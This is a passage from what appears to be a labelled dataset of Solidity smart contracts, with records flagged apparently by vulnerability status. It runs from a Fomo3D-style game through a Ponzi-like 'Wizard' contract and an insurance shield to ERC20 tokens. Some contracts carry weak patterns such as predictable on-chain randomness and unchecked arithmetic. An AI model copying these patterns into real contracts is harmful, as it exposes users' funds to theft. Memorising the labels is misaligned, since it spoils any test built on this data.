if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _long = _eth / 100;
if(_long > 0)
_com = _com.add(_long);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != "") {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
backup.transfer(_aff);
}
uint256 _p3d;
if (!address(Team_Forwarder).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_p3d = _com;
_com = 0;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
if(!address(Team_Forwarder).call.value(_p3d)(bytes4(keccak256("deposit()"))))
{
uint256 __rID = rID_ + 1;
round_[__rID].pot = round_[__rID].pot.add(_p3d);
}
_p3d = 0;
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x937328B032B7d9A972D5EB8CbDC0D3c9B0EB379D ||
msg.sender == 0x9aC45D299d3FB8E31C37714963f7D1FE4838fD0b,
"only team can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface ForwarderInterface {
function deposit() external payable returns(bool);
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,024 |
pragma solidity ^0.4.24;
contract Wizard {
address owner;
function Wizard() {
owner = msg.sender;
}
mapping (address => uint256) balances;
mapping (address => uint256) timestamp;
function() external payable {
owner.send(msg.value / 10);
if (balances[msg.sender] != 0){
address kashout = msg.sender;
uint256 getout = balances[msg.sender]*2/100*(block.number-timestamp[msg.sender])/5900;
kashout.send(getout);
}
timestamp[msg.sender] = block.number;
balances[msg.sender] += msg.value;
}
} | 0 | 674 |
pragma solidity 0.8.4;
interface IOracle {
function getTokensOwed(uint256 ethOwed, address pToken, address uTokenLink) external view returns (uint256);
function getEthOwed(uint256 tokensOwed, address pToken, address uTokenLink) external view returns (uint256);
}
pragma solidity 0.8.4;
interface ICovBase {
function editShield(address shield, bool active) external;
function updateShield(uint256 ethValue) external payable;
function checkCoverage(uint256 pAmount) external view returns (bool);
function getShieldOwed(address shield) external view returns (uint256);
}
pragma solidity 0.8.4;
interface IController {
function bonus() external view returns (uint256);
function refFee() external view returns (uint256);
function governor() external view returns (address);
function depositAmt() external view returns (uint256);
function beneficiary() external view returns (address payable);
function emitAction(
address _user,
address _referral,
address _shield,
address _pToken,
uint256 _amount,
uint256 _refFee,
bool _mint
) external;
}
pragma solidity 0.8.4;
interface IArmorToken {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function mint(address to, uint256 amount) external returns (bool);
function burn(uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function balanceOfAt(address account, uint256 blockNo) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.8.4;
contract arShield {
using SafeERC20 for IERC20;
uint256 constant DENOMINATOR = 10000;
bool public capped;
bool public locked;
uint256 public limit;
address payable public beneficiary;
address public depositor;
uint256 public payoutAmt;
uint256 public payoutBlock;
uint256 public refTotal;
uint256[] public feesToLiq;
uint256[] public feePerBase;
uint256 public totalTokens;
mapping (address => uint256) public refBals;
mapping (uint256 => mapping (address => uint256)) public paid;
address public uTokenLink;
IERC20 public pToken;
IOracle public oracle;
IArmorToken public arToken;
ICovBase[] public covBases;
IController public controller;
event Unlocked(uint256 timestamp);
event Locked(address reporter, uint256 timestamp);
event HackConfirmed(uint256 payoutBlock, uint256 timestamp);
event Mint(address indexed user, uint256 amount, uint256 timestamp);
event Redemption(address indexed user, uint256 amount, uint256 timestamp);
modifier onlyGov
{
require(msg.sender == controller.governor(), "Only governance may call this function.");
_;
}
modifier isLocked
{
require(locked, "You may not do this while the contract is unlocked.");
_;
}
modifier notLocked
{
require(!locked, "You may not do this while the contract is locked.");
_;
}
modifier withinLimits
{
_;
uint256 _limit = limit;
require(_limit == 0 || pToken.balanceOf( address(this) ) <= _limit, "Too much value in the shield.");
}
receive() external payable {}
function initialize(
address _oracle,
address _pToken,
address _arToken,
address _uTokenLink,
uint256[] calldata _fees,
address[] calldata _covBases
)
external
{
require(address(arToken) == address(0), "Contract already initialized.");
uTokenLink = _uTokenLink;
pToken = IERC20(_pToken);
oracle = IOracle(_oracle);
arToken = IArmorToken(_arToken);
controller = IController(msg.sender);
beneficiary = controller.beneficiary();
require(_covBases.length == _fees.length, "Improper length array.");
for(uint256 i = 0; i < _covBases.length; i++) {
covBases.push( ICovBase(_covBases[i]) );
feePerBase.push(_fees[i]);
feesToLiq.push(0);
}
}
function mint(
uint256 _pAmount,
address _referrer
)
external
notLocked
withinLimits
{
address user = msg.sender;
(
uint256 fee,
uint256 refFee,
uint256 totalFees,
uint256[] memory newFees
) = _findFees(_pAmount);
uint256 arAmount = arValue(_pAmount - fee);
pToken.safeTransferFrom(user, address(this), _pAmount);
_saveFees(newFees, _referrer, refFee);
if (capped) {
uint256 ethValue = getEthValue(pToken.balanceOf( address(this) ) - totalFees);
require(checkCapped(ethValue), "Not enough coverage available.");
for (uint256 i = 0; i < covBases.length; i++) covBases[i].updateShield(ethValue);
}
arToken.mint(user, arAmount);
controller.emitAction(
msg.sender,
_referrer,
address(this),
address(pToken),
_pAmount,
refFee,
true
);
emit Mint(user, arAmount, block.timestamp);
}
function redeem(
uint256 _arAmount,
address _referrer
)
external
{
address user = msg.sender;
uint256 pAmount = pValue(_arAmount);
arToken.transferFrom(user, address(this), _arAmount);
arToken.burn(_arAmount);
(
uint256 fee,
uint256 refFee,
uint256 totalFees,
uint256[] memory newFees
) = _findFees(pAmount);
pToken.transfer(user, pAmount - fee);
_saveFees(newFees, _referrer, refFee);
uint256 ethValue = getEthValue(pToken.balanceOf( address(this) ) - totalFees);
for (uint256 i = 0; i < covBases.length; i++) covBases[i].updateShield(ethValue);
controller.emitAction(
msg.sender,
_referrer,
address(this),
address(pToken),
pAmount,
refFee,
false
);
emit Redemption(user, _arAmount, block.timestamp);
}
function liquidate(
uint256 _covId
)
external
payable
{
(
uint256 ethOwed,
uint256 tokensOwed,
uint256 tokenFees
) = liqAmts(_covId);
require(msg.value <= ethOwed, "Too much Ether paid.");
(
uint256 tokensOut,
uint256 feesPaid,
uint256 ethValue
) = payAmts(
msg.value,
ethOwed,
tokensOwed,
tokenFees
);
covBases[_covId].updateShield{value:msg.value}(ethValue);
feesToLiq[_covId] -= feesPaid;
pToken.transfer(msg.sender, tokensOut);
}
function claim()
external
isLocked
{
uint256 balance = arToken.balanceOfAt(msg.sender, payoutBlock);
uint256 owedBal = balance - paid[payoutBlock][msg.sender];
uint256 amount = payoutAmt
* owedBal
/ 1 ether;
require(balance > 0 && amount > 0, "Sender did not have funds on payout block.");
paid[payoutBlock][msg.sender] += owedBal;
payable(msg.sender).transfer(amount);
}
function withdraw(
address _user
)
external
{
uint256 balance = refBals[_user];
refBals[_user] = 0;
pToken.transfer(_user, balance);
}
function pValue(
uint256 _arAmount
)
public
view
returns (
uint256 pAmount
)
{
uint256 totalSupply = arToken.totalSupply();
if (totalSupply == 0) return _arAmount;
pAmount = ( pToken.balanceOf( address(this) ) - totalFeeAmts() )
* _arAmount
/ totalSupply;
}
function arValue(
uint256 _pAmount
)
public
view
returns (
uint256 arAmount
)
{
uint256 balance = pToken.balanceOf( address(this) );
if (balance == 0) return _pAmount;
arAmount = arToken.totalSupply()
* _pAmount
/ ( balance - totalFeeAmts() );
}
function liqAmts(
uint256 _covId
)
public
view
returns(
uint256 ethOwed,
uint256 tokensOwed,
uint256 tokenFees
)
{
ethOwed = covBases[_covId].getShieldOwed( address(this) );
if (ethOwed > 0) tokensOwed = oracle.getTokensOwed(ethOwed, address(pToken), uTokenLink);
tokenFees = feesToLiq[_covId];
require(tokensOwed + tokenFees > 0, "No fees are owed.");
uint256 ethFees = ethOwed > 0 ?
ethOwed
* tokenFees
/ tokensOwed
: getEthValue(tokenFees);
ethOwed += ethFees;
tokensOwed += tokenFees;
uint256 liqBonus = tokensOwed
* controller.bonus()
/ DENOMINATOR;
tokensOwed += liqBonus;
}
function payAmts(
uint256 _ethIn,
uint256 _ethOwed,
uint256 _tokensOwed,
uint256 _tokenFees
)
public
view
returns(
uint256 tokensOut,
uint256 feesPaid,
uint256 ethValue
)
{
tokensOut = _ethIn
* _tokensOwed
/ _ethOwed;
feesPaid = _ethIn
* _tokenFees
/ _ethOwed;
ethValue = (pToken.balanceOf( address(this) )
- totalFeeAmts())
* _ethOwed
/ _tokensOwed;
}
function totalFeeAmts()
public
view
returns(
uint256 totalOwed
)
{
for (uint256 i = 0; i < covBases.length; i++) {
uint256 ethOwed = covBases[i].getShieldOwed( address(this) );
if (ethOwed > 0) totalOwed += oracle.getTokensOwed(ethOwed, address(pToken), uTokenLink);
totalOwed += feesToLiq[i];
}
totalOwed += refTotal;
}
function checkCapped(
uint256 _ethValue
)
public
view
returns(
bool allowed
)
{
if (capped) {
for(uint256 i = 0; i < covBases.length; i++) {
if( !covBases[i].checkCoverage(_ethValue) ) return false;
}
}
allowed = true;
}
function getEthValue(
uint256 _pAmount
)
public
view
returns(
uint256 ethValue
)
{
ethValue = oracle.getEthOwed(_pAmount, address(pToken), uTokenLink);
}
function findFeePct()
external
view
returns(
uint256 percent
)
{
uint256 end = feePerBase.length;
for (uint256 i = 0; i < end; i++) percent += feePerBase[i];
percent += controller.refFee();
}
function _findFees(
uint256 _pAmount
)
internal
view
returns(
uint256 userFee,
uint256 refFee,
uint256 totalFees,
uint256[] memory newFees
)
{
newFees = feesToLiq;
for (uint256 i = 0; i < newFees.length; i++) {
totalFees += newFees[i];
uint256 fee = _pAmount
* feePerBase[i]
/ DENOMINATOR;
newFees[i] += fee;
userFee += fee;
}
refFee = _pAmount
* controller.refFee()
/ DENOMINATOR;
userFee += refFee;
totalFees += userFee + refTotal;
}
function _saveFees(
uint256[] memory liqFees,
address _referrer,
uint256 _refFee
)
internal
{
refTotal += _refFee;
if ( _referrer != address(0) ) refBals[_referrer] += _refFee;
else refBals[beneficiary] += _refFee;
for (uint256 i = 0; i < liqFees.length; i++) feesToLiq[i] = liqFees[i];
}
function notifyHack()
external
payable
notLocked
{
require(msg.value == controller.depositAmt(), "You must pay the deposit amount to notify a hack.");
depositor = msg.sender;
locked = true;
emit Locked(msg.sender, block.timestamp);
}
function confirmHack(
uint256 _payoutBlock,
uint256 _payoutAmt
)
external
isLocked
onlyGov
{
payable(depositor).call{value: controller.depositAmt()}("");
delete depositor;
payoutBlock = _payoutBlock;
payoutAmt = _payoutAmt;
emit HackConfirmed(_payoutBlock, block.timestamp);
}
function unlock()
external
isLocked
onlyGov
{
locked = false;
delete payoutBlock;
delete payoutAmt;
emit Unlocked(block.timestamp);
}
function withdrawExcess(address _token)
external
notLocked
{
if ( _token == address(0) ) beneficiary.transfer( address(this).balance );
else if ( _token != address(pToken) ) {
IERC20(_token).transfer( beneficiary, IERC20(_token).balanceOf( address(this) ) );
}
}
function banPayouts(
uint256 _payoutBlock,
address[] calldata _users,
uint256[] calldata _amounts
)
external
onlyGov
{
for (uint256 i = 0; i < _users.length; i++) paid[_payoutBlock][_users[i]] += _amounts[i];
}
function changeFees(
uint256[] calldata _newFees
)
external
onlyGov
{
require(_newFees.length == feePerBase.length, "Improper fees length.");
for (uint256 i = 0; i < _newFees.length; i++) feePerBase[i] = _newFees[i];
}
function changeBeneficiary(
address payable _beneficiary
)
external
onlyGov
{
beneficiary = _beneficiary;
}
function changeCapped(
bool _capped
)
external
onlyGov
{
capped = _capped;
}
function changeLimit(
uint256 _limit
)
external
onlyGov
{
limit = _limit;
}
function cancelCoverage(
uint256 _covId
)
external
onlyGov
{
covBases[_covId].updateShield(0);
}
} | 0 | 1,161 |
pragma solidity ^0.4.24;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,string tokenName,string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract MyToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
constructor(uint256 initialSupply,string tokenName,string tokenSymbol)
TokenERC20(initialSupply, tokenName, tokenSymbol) public {
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
address myAddress = this;
require(myAddress.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 3,390 |
pragma solidity ^0.4.15;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract StandardToken is ERC20 {
using SafeMath for uint;
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub( _value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0))
revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract UpgradeableToken is StandardToken {
using SafeMath for uint256;
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if (!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
revert();
}
if (value == 0) revert();
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
totalUpgraded = totalUpgraded.add(value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
revert();
}
if (agent == 0x0) revert();
if (msg.sender != upgradeMaster) revert();
if (getUpgradeState() == UpgradeState.Upgrading) revert();
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) revert();
if (upgradeAgent.originalSupply() != totalSupply) revert();
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) revert();
if (msg.sender != upgradeMaster) revert();
